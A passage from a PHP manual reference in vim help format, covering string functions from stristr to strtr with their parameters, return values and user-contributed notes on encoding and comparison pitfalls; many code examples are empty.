the postman! This flick has served me wery well, because I had this problem before. -------------------------------------------------------------------------------- *stristr* +---------+~ | stristr |~ +---------+~ (PHP 4, PHP 5, PHP 7) stristr — Case-insensitive strstr() Description~ > string stristr ( string $haystack , mixed $needle [, bool $before_needle = false ] ) < Returns all of haystack starting from and including the first occurrence of needle to the end. Parameters~ haystack -------- The string to search in needle ------ If needle is not a string, it is converted to an integer and applied as the ordinal value of a character. before_needle ------------- If TRUE, stristr() returns the part of the haystack before the first occurrence of the needle (excluding needle). needle and haystack are examined in a case-insensitive manner. Return Values~ Returns the matched substring. If needle is not found, returns FALSE. Changelog~ Version Description 5.3.0 Added the optional parameter before_needle. 4.3.0 stristr() was made binary safe. Examples~ Example #1 stristr() example > < Example #2 Testing if a string is found or not > < Example #3 Using a non "string" needle > < Notes Note: This function is binary-safe. See Also~ |strstr|() - Find the first occurrence of a string |strrchr|() - Find the last occurrence of a character in a string |stripos|() - Find the position of the first occurrence of a case-insensitive substring in a string |strpbrk|() - Search a string for any of a set of characters |preg_match|() - Perform a regular expression match User Contributed Notes 8 notes 12 dpatton.at.confluence.org ¶14 years ago~ There was a change in PHP 4.2.3 that can cause a warning message to be generated when using stristr(), even though no message was generated in older versions of PHP. The following will generate a warning message in 4.0.6 and 4.2.3: stristr("haystack", ""); OR $needle = ""; stristr("haystack", $needle); This will _not_ generate an "Empty Delimiter" warning message in 4.0.6, but _will_ in 4.2.3: unset($needle); stristr("haystack", $needle); Here's a URL that documents what was changed: http://groups.google.ca/groups?selm=cvshholzgra1031224321%40cvsserver -------------------------------------------------------------------------------- *strlen* +--------+~ | strlen |~ +--------+~ (PHP 4, PHP 5, PHP 7) strlen — Get string length Description~ > int strlen ( string $string ) < Returns the length of the given string. Parameters~ string ------ The string being measured for length. Return Values~ The length of the string on success, and 0 if the string is empty. Changelog~ Version Description 5.3.0 Prior versions treated arrays as the string Array, thus returning a string length of 5 and emitting an E_NOTICE level error. Examples Example #1 A strlen() example > < Notes Note: strlen() returns the number of bytes rather than the number of characters in a string. Note: strlen() returns NULL when executed on arrays, and an E_WARNING level error is emitted. See Also~ |count|() - Count all elements in an array, or something in an object |grapheme_strlen|() - Get string length in grapheme units |iconv_strlen|() - Returns the character count of string |mb_strlen|() - Get string length User Contributed Notes 15 notes 85 chernyshevsky at hotmail dot com ¶12 years ago~ The easiest way to determine the character count of a UTF8 string is to pass the text through utf8_decode() first: > < utf8_decode() converts characters that are not in ISO-8859-1 to '?', which, for the purpose of counting, is quite alright. 30 rm dot nasir at hotmail dot com ¶1 year ago~ I want to share something seriously important for newbies or beginners of PHP who plays with strings of UTF8 encoded characters or the languages like: Arabic, Persian, Pashto, Dari, Chinese (simplified), Chinese (traditional), Japanese, Vietnamese, Urdu, Macedonian, Lithuanian, and etc. As the manual says: "strlen() returns the number of bytes rather than the number of characters in a string.", so if you want to get the number of characters in a string of UTF8 so use mb_strlen() instead of strlen(). Example: > "; var_export( mb_strlen($utf8, 'utf8') ); // 32 ?> < 6 joeri at sebrechts dot net ¶8 months ago~ When checking for length to make sure a value will fit in a database field, be mindful of using the right function. There are three possible situations: 1. Most likely case: the database column is UTF-8 with a length defined in unicode code points (e.g. mysql varchar(200) for a utf-8 database). > < 2. The database column has a length defined in bytes (e.g. oracle's VARCHAR2(200 BYTE)) > < 3. The database column is in another character set (UTF-16, ISO-8859-1, etc...) with a length defined in characters / code points. Find the character set used, and pass it explicitly to the length function. > < 26 vcardillo at gmail dot com ¶4 years ago~ I would like to demonstrate that you need more than just this function in order to truly test for an empty string. The reason being that will return 0. So how do you know if the value was null, or truly an empty string? > "; echo "Length: $len
    "; echo "Length: " . strlen(null) . "
    "; if (strlen($foo) === 0) echo 'Null length is Zero
    '; if ($len === 0) echo 'Null length is still Zero
    '; if (strlen($foo) == 0 && !is_null($foo)) echo '!is_null(): $foo is truly an empty string
    '; else echo '!is_null(): $foo is probably null
    '; if (strlen($foo) == 0 && isset($foo)) echo 'isset(): $foo is truly an empty string
    '; else echo 'isset(): $foo is probably null
    '; if (strlen($bar) == 0 && !is_null($bar)) echo '!is_null(): $bar is truly an empty string
    '; else echo '!is_null(): $foo is probably null
    '; if (strlen($bar) == 0 && isset($bar)) echo 'isset(): $bar is truly an empty string
    '; else echo 'isset(): $foo is probably null
    '; ?> < // Begin Output: Length: 0 Length: 0 Length: 0 Null length is Zero Null length is still Zero !is_null(): $foo is probably null isset(): $foo is probably null !is_null(): $bar is truly an empty string isset(): $bar is truly an empty string // End Output So it would seem you need either is_null() or isset() in addition to strlen() if you care whether or not the original value was null. -------------------------------------------------------------------------------- *strnatcasecmp* +---------------+~ | strnatcasecmp |~ +---------------+~ (PHP 4, PHP 5, PHP 7) strnatcasecmp — Case insensitive string comparisons using a "natural order" algorithm Description~ > int strnatcasecmp ( string $str1 , string $str2 ) < This function implements a comparison algorithm that orders alphanumeric strings in the way a human being would. The behaviour of this function is similar to strnatcmp(), except that the comparison is not case sensitive. For more information see: Martin Pool's » Natural Order String Comparison page. Parameters~ str1 ----- The first string. str2 ----- The second string. Return Values~ Similar to other string comparison functions, this one returns < 0 if str1 is less than str2 > 0 if str1 is greater than str2, and 0 if they are equal. See Also~ |preg_match|() - Perform a regular expression match |strcmp|() - Binary safe string comparison |strcasecmp|() - Binary safe case-insensitive string comparison |substr|() - Return part of a string |stristr|() - Case-insensitive strstr |strncasecmp|() - Binary safe case-insensitive string comparison of the first n characters |strncmp|() - Binary safe string comparison of the first n characters |strstr|() - Find the first occurrence of a string |setlocale|() - Set locale information User Contributed Notes 3 notes 6 chatfielddaniel at googlemail dot com ¶5 years ago~ The function treats '_' as after letters and numbers when it would be placed before logically. -------------------------------------------------------------------------------- *strnatcmp* +-----------+~ | strnatcmp |~ +-----------+~ (PHP 4, PHP 5, PHP 7) strnatcmp — String comparisons using a "natural order" algorithm Description~ > int strnatcmp ( string $str1 , string $str2 ) < This function implements a comparison algorithm that orders alphanumeric strings in the way a human being would, this is described as a "natural ordering". Note that this comparison is case sensitive. Parameters~ str1 ----- The first string. str2 ----- The second string. Return Values~ Similar to other string comparison functions, this one returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal. Examples~ An example of the difference between this algorithm and the regular computer string sorting algorithms (used in strcmp()) can be seen below: > < The above example will output: Standard string comparison Array ( [0] => img1.png [1] => img10.png [2] => img12.png [3] => img2.png ) Natural order string comparison Array ( [0] => img1.png [1] => img2.png [2] => img10.png [3] => img12.png ) For more information see: Martin Pool's » Natural Order String Comparison page. See Also~ |preg_match|() - Perform a regular expression match |strcasecmp|() - Binary safe case-insensitive string comparison |substr|() - Return part of a string |stristr|() - Case-insensitive strstr |strcmp|() - Binary safe string comparison |strncmp|() - Binary safe string comparison of the first n characters |strncasecmp|() - Binary safe case-insensitive string comparison of the first n characters |strnatcasecmp|() - Case insensitive string comparisons using a "natural order" algorithm |strstr|() - Find the first occurrence of a string |natsort|() - Sort an array using a "natural order" algorithm |natcasesort|() - Sort an array using a case insensitive "natural order" algorithm -------------------------------------------------------------------------------- *strncasecmp* +-------------+~ | strncasecmp |~ +-------------+~ (PHP 4 >= 4.0.2, PHP 5, PHP 7) strncasecmp — Binary safe case-insensitive string comparison of the first n characters Description~ > int strncasecmp ( string $str1 , string $str2 , int $len ) < This function is similar to strcasecmp(), with the difference that you can specify the (upper limit of the) number of characters from each string to be used in the comparison. Parameters~ str1 ----- The first string. str2 ----- The second string. len ----- The length of strings to be used in the comparison. Return Values Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal. See Also~ |strncmp|() - Binary safe string comparison of the first n characters |preg_match|() - Perform a regular expression match |substr_compare|() - Binary safe comparison of two strings from an offset, up to length characters |strcasecmp|() - Binary safe case-insensitive string comparison |stristr|() - Case-insensitive strstr |substr|() - Return part of a string -------------------------------------------------------------------------------- *strncmp* +---------+~ | strncmp |~ +---------+~ (PHP 4, PHP 5, PHP 7) strncmp — Binary safe string comparison of the first n characters Description~ > int strncmp ( string $str1 , string $str2 , int $len ) < This function is similar to strcmp(), with the difference that you can specify the (upper limit of the) number of characters from each string to be used in the comparison. Note that this comparison is case sensitive. Parameters~ str1 ----- The first string. str2 ----- The second string. len ----- Number of characters to use in the comparison. Return Values~ Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal. See Also~ |strncasecmp|() - Binary safe case-insensitive string comparison of the first n characters |preg_match|() - Perform a regular expression match |substr_compare|() - Binary safe comparison of two strings from an offset, up to length characters |strcmp|() - Binary safe string comparison |strstr|() - Find the first occurrence of a string |substr|() - Return part of a string User Contributed Notes 4 notes 10 elloromtz at gmail dot com ¶6 years ago~ if length is 0 regardless what the two strings are, it will return 0 > < -------------------------------------------------------------------------------- *strpbrk* +---------+~ | strpbrk |~ +---------+~ (PHP 5, PHP 7) strpbrk — Search a string for any of a set of characters Description~ > string strpbrk ( string $haystack , string $char_list ) < strpbrk() searches the haystack string for a char_list. Parameters~ haystack -------- The string where char_list is looked for. char_list --------- This parameter is case sensitive. Return Values~ Returns a string starting from the character found, or FALSE if it is not found. Examples~ Example #1 strpbrk() example > < See Also~ |strpos|() - Find the position of the first occurrence of a substring in a string |strstr|() - Find the first occurrence of a string |preg_match|() - Perform a regular expression match User Contributed Notes 2 notes 8 devnuhl ¶2 years ago~ If you're not looking to duplicate the rest of the string, but instead just want the offset, in the spirit of the str*pos() functions, use strcspn() -------------------------------------------------------------------------------- *strpos* +--------+~ | strpos |~ +--------+~ (PHP 4, PHP 5, PHP 7) strpos — Find the position of the first occurrence of a substring in a string Description~ > mixed strpos ( string $haystack , mixed $needle [, int $offset = 0 ] ) < Find the numeric position of the first occurrence of needle in the haystack string. Parameters~ haystack -------- The string to search in. needle ------ If needle is not a string, it is converted to an integer and applied as the ordinal value of a character. offset ------ If specified, search will start this number of characters counted from the beginning of the string. If the offset is negative, the search will start this number of characters counted from the end of the string. Return Values~ Returns the position of where the needle exists relative to the beginning of the haystack string (independent of offset). Also note that string positions start at 0, and not 1. Returns FALSE if the needle was not found. Warning This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function. Changelog~ Version Description 7.1.0 Support for negative offsets has been added. Examples~ Example #1 Using === > < Example #2 Using !== > < Example #3 Using an offset > < Notes~ Note: This function is binary-safe. See Also~ |stripos|() - Find the position of the first occurrence of a case-insensitive substring in a string |strrpos|() - Find the position of the last occurrence of a substring in a string |strripos|() - Find the position of the last occurrence of a case-insensitive substring in a string |strstr|() - Find the first occurrence of a string |strpbrk|() - Search a string for any of a set of characters |substr|() - Return part of a string |preg_match|() - Perform a regular expression match User Contributed Notes 47 notes 98 Suggested re-write for pink WARNING box ¶9 years ago~ WARNING As strpos may return either FALSE (substring absent) or 0 (substring at start of string), strict versus loose equivalency operators must be used very carefully. To know that a substring is absent, you must use: === FALSE To know that a substring is present (in any position including 0), you can use either of: !== FALSE (recommended) > -1 (note: or greater than any negative number) To know that a substring is at the start of the string, you must use: === 0 To know that a substring is in any position other than the start, you can use any of: > 0 (recommended) != 0 (note: but not !== 0 which also equates to FALSE) != FALSE (disrecommended as highly confusing) Also note that you cannot compare a value of "" to the returned value of strpos. With a loose equivalence operator (== or !=) it will return results which don't distinguish between the substring's presence versus position. With a strict equivalence operator (=== or !==) it will always return false. 7 fabio at naoimporta dot com ¶1 year ago~ It is interesting to be aware of the behavior when the treatment of strings with characters using different encodings. > strlen($haystack)) trigger_error(sprintf("%s: length of argument 2 must be <= argument 1", __FUNCTION__), E_USER_WARNING); $seeks = array(); while($seek = strrpos($haystack, $needle)) { array_push($seeks, $seek); $haystack = substr($haystack, 0, $seek); } return $seeks; } it will return an array of all occurrences a the substring in the string Example : $test = "this is a test for testing a test function... blah blah"; var_dump(strpos_r($test, "test")); // output array(3) { [0]=> int(29) [1]=> int(19) [2]=> int(10) } Paul-antoine Malézieux. up down 13 rjeggens at ijskoud dot org ¶5 years ago I lost an hour before I noticed that strpos only returns FALSE as a boolean, never TRUE.. This means that strpos() !== false is a different beast then: strpos() === true since the latter will never be true. After I found out, The warning in the documentation made a lot more sense. up down 15 akarmenia at gmail dot com ¶6 years ago My version of strpos with needles as an array. Also allows for a string, or an array inside an array. 6 ohcc at 163 dot com ¶2 years ago~ Be careful when the $haystack or $needle parameter is an integer. If you are not sure of its type, you should convert it into a string. > < 6 ilaymyhat-rem0ve at yahoo dot com ¶8 years ago~ This might be useful. > < -------------------------------------------------------------------------------- *strrchr* +---------+~ | strrchr |~ +---------+~ (PHP 4, PHP 5, PHP 7) strrchr — Find the last occurrence of a character in a string Description~ > string strrchr ( string $haystack , mixed $needle ) < This function returns the portion of haystack which starts at the last occurrence of needle and goes until the end of haystack. Parameters~ haystack -------- The string to search in needle ------ If needle contains more than one character, only the first is used. This behavior is different from that of strstr(). If needle is not a string, it is converted to an integer and applied as the ordinal value of a character. Return Values~ This function returns the portion of string, or FALSE if needle is not found. Changelog~ Version Description 4.3.0 This function is now binary safe. Examples~ Example #1 strrchr() example > < Notes Note: This function is binary-safe. See Also~ |strstr|() - Find the first occurrence of a string |strrpos|() - Find the position of the last occurrence of a substring in a string User Contributed Notes 10 notes 40 jphansen at uga dot edu ¶4 years ago~ To extract your portion of a string without the actual character you searched for, you can use: > < 19 matthewkastor at live dot com ¶6 years ago~ > * $example = 'http://example.com/path/file.php'; * $cwd_relative[] = cut_string_using_last('/', $example, 'left', true); * $cwd_relative[] = cut_string_using_last('/', $example, 'left', false); * $cwd_relative[] = cut_string_using_last('/', $example, 'right', true); * $cwd_relative[] = cut_string_using_last('/', $example, 'right', false); * foreach($cwd_relative as $string) { * echo "$string
    ".PHP_EOL; * } * * * Outputs: * * http://example.com/path/ * http://example.com/path * /file.php * file.php * * * @param string $character the character to search for. * @param string $string the string to search through. * @param string $side determines whether text to the left or the right of the character is returned. * Options are: left, or right. * @param bool $keep_character determines whether or not to keep the character. * Options are: true, or false. * @return string */ function cut_string_using_last($character, $string, $side, $keep_character=true) { $offset = ($keep_character ? 1 : 0); $whole_length = strlen($string); $right_length = (strlen(strrchr($string, $character)) - 1); $left_length = ($whole_length - $right_length - 1); switch($side) { case 'left': $piece = substr($string, 0, ($left_length + $offset)); break; case 'right': $start = (0 - ($right_length + $offset)); $piece = substr($string, $start); break; default: $piece = false; break; } return($piece); } ?> < 9 readless at gmx dot net ¶10 years ago~ to: repley at freemail dot it the code works very well, but as i was trying to cut script names (e.g.: $_SERVER["SCRIPT_NAME"] => /index.php, cut the string at "/" and return "index.php") it returned nothing (false). i've modified your code and now it works also if the needle is the first char. - regards from germany > < 6 ¶11 years ago $filename = 'strrchr_test.php'; print strrchr( $filename, '.' ); Result: .php $other_filename = 'strrchr_test.asp.php'; print strrchr( $other_filename, '.' ); Result: .php -------------------------------------------------------------------------------- *strrev* +--------+~ | strrev |~ +--------+~ (PHP 4, PHP 5, PHP 7) strrev — Reverse a string Description~ > string strrev ( string $string ) < Returns string, reversed. Parameters~ string ------ The string to be reversed. Return Values~ Returns the reversed string. Examples~ Example #1 Reversing a string with strrev() > < User Contributed Notes 1 note 14 carmel.alex at gmail.com ¶11 years ago~ This function support utf-8 encoding > function utf8_strrev($str){ preg_match_all('/./us', $str, $ar); return join('',array_reverse($ar[0])); } < -------------------------------------------------------------------------------- *strripos* +----------+~ | strripos |~ +----------+~ (PHP 5, PHP 7) strripos — Find the position of the last occurrence of a case-insensitive substring in a string Description~ > int strripos ( string $haystack , string $needle [, int $offset = 0 ] ) < Find the numeric position of the last occurrence of needle in the haystack string. Unlike the strrpos(), strripos() is case-insensitive. Parameters~ haystack -------- The string to search in. needle ------ If needle is not a string, it is converted to an integer and applied as the ordinal value of a character. offset ------ If specified, search will start this number of characters counted from the beginning of the string. If the value is negative, search will instead start from that many characters from the end of the string, searching backwards. Return Values~ Returns the position where the needle exists relative to the beginnning of the haystack string (independent of search direction or offset). Also note that string positions start at 0, and not 1. Returns FALSE if the needle was not found. Warning This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function. Examples~ Example #1 A simple strripos() example > < The above example will output: Congratulations! We found the last (aB) in (ababcd) at position (2) See Also ¶ strpos() - Find the position of the first occurrence of a substring in a string stripos() - Find the position of the first occurrence of a case-insensitive substring in a string strrpos() - Find the position of the last occurrence of a substring in a string strrchr() - Find the last occurrence of a character in a string stristr() - Case-insensitive strstr substr() - Return part of a string -------------------------------------------------------------------------------- *strrpos* +---------+~ | strrpos |~ +---------+~ (PHP 4, PHP 5, PHP 7) strrpos — Find the position of the last occurrence of a substring in a string Description~ > int strrpos ( string $haystack , string $needle [, int $offset = 0 ] ) < Find the numeric position of the last occurrence of needle in the haystack string. Parameters~ haystack -------- The string to search in. needle ------ If needle is not a string, it is converted to an integer and applied as the ordinal value of a character. offset ------ If specified, search will start this number of characters counted from the beginning of the string. If the value is negative, search will instead start from that many characters from the end of the string, searching backwards. Return Values~ Returns the position where the needle exists relative to the beginning of the haystack string (independent of search direction or offset). Also note that string positions start at 0, and not 1. Returns FALSE if the needle was not found. Warning This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function. Changelog~ Version Description 5.0.0 The needle may now be a string of more than one character. Examples~ Example #1 Checking if a needle is in the haystack It is easy to mistake the return values for "character found at position 0" and "character not found". Here's how to detect the difference: > < Example #2 Searching with offsets > < See Also~ |strpos|() - Find the position of the first occurrence of a substring in a string |stripos|() - Find the position of the first occurrence of a case-insensitive substring in a string |strripos|() - Find the position of the last occurrence of a case-insensitive substring in a string |strrchr|() - Find the last occurrence of a character in a string |substr|() - Return part of a string User Contributed Notes 32 notes 32 brian at enchanter dot net ¶9 years ago~ The documentation for 'offset' is misleading. It says, "offset may be specified to begin searching an arbitrary number of characters into the string. Negative values will stop searching at an arbitrary point prior to the end of the string." This is confusing if you think of strrpos as starting at the end of the string and working backwards. A better way to think of offset is: - If offset is positive, then strrpos only operates on the part of the string from offset to the end. This will usually have the same results as not specifying an offset, unless the only occurences of needle are before offset (in which case specifying the offset won't find the needle). - If offset is negative, then strrpos only operates on that many characters at the end of the string. If the needle is farther away from the end of the string, it won't be found. If, for example, you want to find the last space in a string before the 50th character, you'll need to do something like this: strrpos($text, " ", -(strlen($text) - 50)); If instead you used strrpos($text, " ", 50), then you would find the last space between the 50th character and the end of the string, which may not have been what you were intending. 8 Daniel Brinca ¶9 years ago~ Here is a simple function to find the position of the next occurrence of needle in haystack, but searching backwards (lastIndexOf type function): > //search backwards for needle in haystack, and return its position function rstrpos ($haystack, $needle, $offset){ $size = strlen ($haystack); $pos = strpos (strrev($haystack), $needle, $size - $offset); if ($pos === false) return false; return $size - $pos; } < Note: supports full strings as needle -------------------------------------------------------------------------------- *strspn* +--------+~ | strspn |~ +--------+~ (PHP 4, PHP 5, PHP 7) strspn — Finds the length of the initial segment of a string consisting entirely of characters contained within a given mask. Description~ > int strspn ( string $subject , string $mask [, int $start [, int $length ]] ) < Finds the length of the initial segment of subject that contains only characters from mask. If start and length are omitted, then all of subject will be examined. If they are included, then the effect will be the same as calling strspn(substr($subject, $start, $length), $mask) (see substr for more information). The line of code: > < will assign 2 to $var, because the string "42" is the initial segment of subject that consists only of characters contained within "1234567890". Parameters~ subject ------- The string to examine. mask ----- The list of allowable characters. start ----- The position in subject to start searching. If start is given and is non-negative, then strspn() will begin examining subject at the start'th position. For instance, in the string 'abcdef', the character at position 0 is 'a', the character at position 2 is 'c', and so forth. If start is given and is negative, then strspn() will begin examining subject at the start'th position from the end of subject. length ------ The length of the segment from subject to examine. If length is given and is non-negative, then subject will be examined for length characters after the starting position. If length is given and is negative, then subject will be examined from the starting position up to length characters from the end of subject. Return Values~ Returns the length of the initial segment of subject which consists entirely of characters in mask. Note: When a start parameter is set, the returned length is counted starting from this position, not from the beginning of subject. Examples~ Example #1 strspn() example > < The above example will output: int(0) int(2) int(1) Notes Note: This function is binary-safe. See Also~ |strcspn|() - Find length of initial segment not matching mask User Contributed Notes 6 notes 11 AT-HE (at_he.hotmail) ¶6 years ago~ you can use this function with strlen to check illegal characters, string lenght must be the same than strspn (characters from my string contained in another) > < 11 barry dot balkowski at gmail dot com ¶8 years ago~ It took me some time to understand the way this function works… I’ve compiled my own explanation with my own words that is more understandable for me personally than the official one or those that can be found in different tutorials on the web. Perhaps, it will save someone several minutes… > < The way it works: - searches for a segment of $haystack that consists entirely from supplied through the second argument chars - $haystack must start from one of the chars supplied through $char_list, otherwise the function will find nothing - as soon as the function encounters a char that was not mentioned in $chars it understands that the segment is over and stops (it doesn’t search for the second, third and so on segments) - finally, it measures the segment’s length and return it (i.e. length) In other words it finds a span (only the first one) in the string that consists entirely form chars supplied in $chars_list and returns its length 6 B Crawford ¶9 years ago~ This function is significantly faster for checking illegal characters than the equivalent preg_match() method. -------------------------------------------------------------------------------- *strstr* +--------+~ | strstr |~ +--------+~ (PHP 4, PHP 5, PHP 7) strstr — Find the first occurrence of a string Description~ > string strstr ( string $haystack , mixed $needle [, bool $before_needle = false ] ) < Returns part of haystack string starting from and including the first occurrence of needle to the end of haystack. Note: This function is case-sensitive. For case-insensitive searches, use stristr(). Note: If you only want to determine if a particular needle occurs within haystack, use the faster and less memory intensive function strpos() instead. Parameters~ haystack -------- The input string. needle ------ If needle is not a string, it is converted to an integer and applied as the ordinal value of a character. before_needle ------------- If TRUE, strstr() returns the part of the haystack before the first occurrence of the needle (excluding the needle). Return Values~ Returns the portion of string, or FALSE if needle is not found. Changelog~ Version Description 5.3.0 Added the optional parameter before_needle. 4.3.0 strstr() was made binary safe. Examples~ Example #1 strstr() example > < See Also~ |stristr|() - Case-insensitive strstr |strrchr|() - Find the last occurrence of a character in a string |strpos|() - Find the position of the first occurrence of a substring in a string |strpbrk|() - Search a string for any of a set of characters |preg_match|() - Perform a regular expression match User Contributed Notes 8 notes 21 gruessle at gmail dot com ¶5 years ago~ Been using this for years: > < You could change it to: rstrstr ( string $haystack , mixed $needle [, int $start] ) > < 15 laszlo dot heredy at gmail dot com ¶3 years ago~ strstr() is not a way to avoid type-checking with strpos(). If $needle is the last character in $haystack, and testing $needle as a boolean by itself would evaluate to false, then testing strstr() as a boolean will evaluate to false (because, if successful, strstr() returns the first occurrence of $needle along with the rest of $haystack). > < Also, strstr() is far more memory-intensive than strpos(), especially with longer strings as your $haystack, so if you are not interested in the substring that strstr() returns, you shouldn't be using it anyway. There is no PHP function just to check only _if_ $needle occurs in $haystack; strpos() tells you if it _doesn't_ by returning false, but, if it does occur, it tells you _where_ it occurs as an integer, which is 0 (zero) if $needle is the first part of $haystack, which is why testing if (strpos($needle, $haystack)===false) is the only way to know for sure if $needle is not part of $haystack. My advice is to start loving type checking immediately, and to familiarize yourself with the return value of the functions you are using. Cheers. 9 brett dot jr dot alton at gmail dot com ¶9 years ago~ For the needle_before (first occurance) parameter when using PHP 5.x or less, try: > < -------------------------------------------------------------------------------- *strtok* +--------+~ | strtok |~ +--------+~ (PHP 4, PHP 5, PHP 7) strtok — Tokenize string Description~ > string strtok ( string $str , string $token ) string strtok ( string $token ) < strtok() splits a string (str) into smaller strings (tokens), with each token being delimited by any character from token. That is, if you have a string like "This is an example string" you could tokenize this string into its individual words by using the space character as the token. Note that only the first call to strtok uses the string argument. Every subsequent call to strtok only needs the token to use, as it keeps track of where it is in the current string. To start over, or to tokenize a new string you simply call strtok with the string argument again to initialize it. Note that you may put multiple tokens in the token parameter. The string will be tokenized when any one of the characters in the argument is found. Parameters~ str ----- The string being split up into smaller strings (tokens). token ----- The delimiter used when splitting up str. Return Values~ A string token. Examples~ Example #1 strtok() example > "; $tok = strtok(" \n\t"); } ?> < Example #2 strtok() behavior on empty part found > < The above example will output: string(9) "something" bool(false) Notes Warning This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function. See Also~ |split|() - Split string into array by regular expression |explode|() - Split a string by string User Contributed Notes 17 notes 16 manicdepressive at mindless dot com ¶12 years ago~ >
    < 29 eep2004 at ukr dot net ¶3 years ago~ > < Result: Hello to all 8 elarlang at gmail dot com ¶6 years ago~ If you have memory-usage critical solution, you should keep in mind, that strtok function holds input string parameter (or reference to it?) in memory after usage. > < Test-cases with handling ~10MB plain-text file: Case #1 - unset $str variable > < Case #1 result: memory is still used Case #2 - call strtok again > < Case #2 result: memory is still used Case #3 - call strtok again AND unset $str variable > < Case #3 result: memory is free So, better solution for tokenize function: > < 7 eep2004 at ukr dot net ¶2 years ago~ Remove GET variables from the URL > < Result: http://example.com/index.php -------------------------------------------------------------------------------- *strtolower* +------------+~ | strtolower |~ +------------+~ (PHP 4, PHP 5, PHP 7) strtolower — Make a string lowercase Description~ > string strtolower ( string $string ) < Returns string with all alphabetic characters converted to lowercase. Note that 'alphabetic' is determined by the current locale. This means that e.g. in the default "C" locale, characters such as umlaut-A (Ä) will not be converted. Parameters~ string ------ The input string. Return Values~ Returns the lowercased string. Examples~ Example #1 strtolower() example > < Notes Note: This function is binary-safe. See Also~ |strtoupper|() - Make a string uppercase |ucfirst|() - Make a string's first character uppercase |ucwords|() - Uppercase the first character of each word in a string |mb_strtolower|() - Make a string lowercase User Contributed Notes 16 notes 66 marcin at maydesign dot pl ¶6 years ago~ strtolower(); doesn't work for polish chars > < will return: mAka; the best solution - use mb_strtolower() > < will return: maka 31 coder at bulgaria dot bg ¶7 years ago~ for cyrillic and UTF 8 use mb_convert_case exampel > < 7 helvete at bahno dot net ¶2 years ago~ It is worth noting that > < returns: string(0) "" 7 rodrigoATsistemasparainternetDOTcomDOTbr ¶8 years ago~ > $value) { $result = ereg_replace(addslashes($value),$key,$result); } return(strtolower($result)); } echo fullLower("Ã É Ò Õ ÚÙÛ"); //results ã é ò õ úùû //adapted from fullUpper on strtoupper manual ?> < 6 dbers26 at gmail dot com ¶8 years ago~ the function arraytolower will create duplicate entries since keys are case sensitive. > 'asgAFasDAAd', 'TEST2' => 'ASddhshsDGb', 'TeSt3 '=> 'asdasda@asdadadASDASDgh'); $array = arraytolower($array); ?> < /* Array ( [test1] => asgafasdaad [TEST2] => ASddhshsDGb [TeSt3] => asdasda@asdadadASDASDgh [test2] => asddhshsdgb [test3] => asdasda@asdadadasdasdgh ) */ I prefer this method > $value) { if(is_array($value)) $array2[strtolower($key)] = arraytolower($value, $include_leys); else $array2[strtolower($key)] = strtolower($value); } $array = $array2; } else { foreach($array as $key => $value) { if(is_array($value)) $array[$key] = arraytolower($value, $include_leys); else $array[$key] = strtolower($value); } } return $array; } ?> < which when used like this > 'asgAFasDAAd', 'TEST2' => 'ASddhshsDGb', 'TeSt3 '=> 'asdasda@asdadadASDASDgh'); $array1 = arraytolower($array); $array2 = arraytolower($array,true); print_r($array1); print_r($array2); ?> < will give output of Array ( [test1] => asgafasdaad [TEST2] => asddhshsdgb [TeSt3] => asdasda@asdadadasdasdgh ) Array ( [test1] => asgafasdaad [test2] => asddhshsdgb [test3] => asdasda@asdadadasdasdgh ) -------------------------------------------------------------------------------- *strtoupper* +------------+~ | strtoupper |~ +------------+~ (PHP 4, PHP 5, PHP 7) strtoupper — Make a string uppercase Description~ > string strtoupper ( string $string ) < Returns string with all alphabetic characters converted to uppercase. Note that 'alphabetic' is determined by the current locale. For instance, in the default "C" locale characters such as umlaut-a (ä) will not be converted. Parameters~ string ------ The input string. Return Values~ Returns the uppercased string. Examples~ Example #1 strtoupper() example > < Notes Note: This function is binary-safe. See Also~ |strtolower|() - Make a string lowercase |ucfirst|() - Make a string's first character uppercase |ucwords|() - Uppercase the first character of each word in a string |mb_strtoupper|() - Make a string uppercase User Contributed Notes 14 notes 32 andre at koethur dot de ¶3 years ago~ One might think that setting the correct locale would do the trick with for example german umlauts, but this is not the case. You have to use mb_strtoupper() instead: > < 6 Anonymous ¶11 years ago~ // 2005/5/30 Justin // Chinese_Traditional toupper function CT_to_upper($string) { $isChineseStart = false; $new_string = ""; $i = 0; while($i < strlen($string)) { if (ord(substr($string,$i,1)) <128) { if( $isChineseStart == false ) $new_string .= strtoupper(mb_substr($string,$i,1)); else $new_string .= substr($string,$i,1); } else { if( $isChineseStart == false ) $isChineseStart = true; else $isChineseStart = false; $new_string .= substr($string,$i,1); } $i++; } return $new_string; } // 6 mec at stadeleck dot org ¶14 years ago~ something I myself first not thought about: if there are any html entities (named entities) in your string, strtoupper will turn all letters within this entities to upper case, too. So if you want to manipulate a string with strtoupper it should contain only unicode entities (if ever). -------------------------------------------------------------------------------- *strtr* +-------+~ | strtr |~ +-------+~ (PHP 4, PHP 5, PHP 7) strtr — Translate characters or replace substrings Description~ > string strtr ( string $str , string $from , string $to ) string strtr ( string $str , array $replace_pairs ) < If given three arguments, this function returns a copy of str where all occurrences of each (single-byte) character in from have been translated to the corresponding character in to, i.e., every occurrence of $from[$n] has been replaced with $to[$n], where $n is a valid offset in both arguments. If from and to have different lengths, the extra characters in the longer of the two are ignored. The length of str will be the same as the return value's. If given two arguments, the second should be an array in the form array('from' => 'to', ...). The return value is a string where all the occurrences of the array keys have been replaced by the corresponding values. The longest keys will be tried first. Once a substring has been replaced, its new value will not be searched again. In this case, the keys and the values may have any length, provided that there is no empty key; additionally, the length of the return value may differ from that of str. However, this function will be the most efficient when all the keys have the same size. Parameters~ str ----- The string being translated. from ----- The string being translated to to. to ----- The string replacing from. replace_pairs ------------- The replace_pairs parameter may be used instead of to and from, in which case it's an array in the form array('from' => 'to', ...). Return Values~ Returns the translated string. If replace_pairs contains a key which is an empty string (""), FALSE will be returned. If the str is not a scalar then it is not typecasted into a string, instead a warning is raised and NULL is returned. Examples~ Example #1 strtr() example > 